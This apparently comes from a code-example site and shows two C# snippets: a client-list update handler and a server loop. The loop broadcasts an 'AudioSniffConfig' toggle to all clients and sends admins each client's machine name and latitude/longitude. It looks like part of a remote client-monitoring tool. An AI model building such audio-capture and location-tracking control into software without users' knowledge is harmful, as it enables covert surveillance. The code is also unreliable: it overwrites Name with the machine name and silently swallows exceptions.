Exemple #1
0
 private void OnClientsUpdateGot(ConnectedClientsPacket e)
 {
     lock (this.ConnectedClientViewModels)
     {
         foreach (var item in this.ConnectedClientViewModels.Where(cc => String.IsNullOrEmpty(cc.Name)).ToList())
         {
             this.ConnectedClientViewModels.Remove(item);
         }
         foreach (var cc in e.ConnectedClients)
         {
             if (this.ConnectedClientViewModels
                 .Any(c => cc.ConnectedClientViewModel.Name == c.Name || String.IsNullOrEmpty(c.Name)))
             {
                 var forUpdate = this.ConnectedClientViewModels
                                 .Where(ccc => cc.ConnectedClientViewModel.Name == ccc.Name);
                 if (forUpdate.Count() > 0)
                 {
                     foreach (var u1 in forUpdate)
                     {
                         u1.Name      = cc.ConnectedClientViewModel.Name;
                         u1.Name      = cc.ConnectedClientViewModel.Machine;
                         u1.Latitude  = cc.ConnectedClientViewModel.Latitude;
                         u1.Longitude = cc.ConnectedClientViewModel.Longitude;
                     }
                 }
             }
             else
             {
                 this.ConnectedClientViewModels.Add(cc.ConnectedClientViewModel);
             }
         }
     }
 }
Exemple #2
0
        public void Start()
        {
            try
            {
                int threadsCount, k;
                ThreadPool.GetMaxThreads(out threadsCount, out k);


                this.networkServer.Start();

                this.networkServer.ServerInformationUpdated += (sender, eventArgs) =>
                {
                    var dateTime = DateTime.UtcNow;

                    Console.WriteLine(
                        $"{dateTime} {eventArgs.ProcessedTcpPackets} TCP Packets Processed");
                    Console.WriteLine(
                        $"{dateTime} {eventArgs.InvalidTcpPackets} Invalid or Lost TCP Packets");
                    Console.WriteLine(
                        $"{dateTime} {eventArgs.ProcessedUdpPackets} UDP Packets Processed");
                    Console.WriteLine(
                        $"{dateTime} {eventArgs.InvalidUdpPackets} Invalid or Lost UDP Packets");
                    Console.WriteLine(
                        $"{dateTime} {eventArgs.TcpConnections} TCP connections active");
                };
                this.networkServer.ClientConnected += (sender, eventArgs) =>
                {
                    Console.WriteLine(
                        $"Client Connected - {eventArgs.Connection.Socket.RemoteEndPoint}");
                    var viewModel = new MultiPlatform.ViewModels.ConnectedClientViewModelServerSide();
                    viewModel.Connection = eventArgs.Connection;
                    this.connectedClients.Add(viewModel);
                };
                this.networkServer.ClientDisconnected += (sender, eventArgs) =>
                {
                    Console.WriteLine(
                        $"Client Disconnected - {eventArgs.Connection.Socket.RemoteEndPoint}");
                    foreach (var client in this.connectedClients.GetAll())
                    {
                    }
                };
                var can = true;
                Task.Factory.StartNew(() =>
                {
                    while (true)
                    {
                        try
                        {
                            var cfg = new ClientConfigurationPacket()
                            {
                                AudioSniffConfig = new AudioSniffConfigurationPacket()
                                {
                                    CanRecive = can
                                }
                            };
                            this.networkServer.SendToAllTCP <ClientConfigurationPacket>(cfg);

                            //can = !cfg.AudioSniffConfig.CanRecive;

                            var admins = this.connectedClients.GetAll().Where(c => c.IsAdmin);
                            foreach (var item in admins)
                            {
                                var connectedd = this.connectedClients.GetAll().Cast <ConnectedClientViewModel>().ToList();
                                var packet     = new ConnectedClientsPacket()
                                {
                                    ConnectedClients = new System.Collections.Generic.List <ConnectedClientInfoPacket>()
                                };
                                foreach (var connected in connectedd)
                                {
                                    packet.ConnectedClients.Add(new ConnectedClientInfoPacket()
                                    {
                                        ConnectedClientViewModel = connected
                                    });
                                }

                                networkServer.Send <ConnectedClientsPacket>(packet, item.Connection);
                            }

                            Thread.Sleep(10000);
                        }
                        catch { continue; }
                    }
                });


                run = true;
                while (run)
                {
                    Thread.Sleep(500);
                }
            }
            catch
            {
            }
        }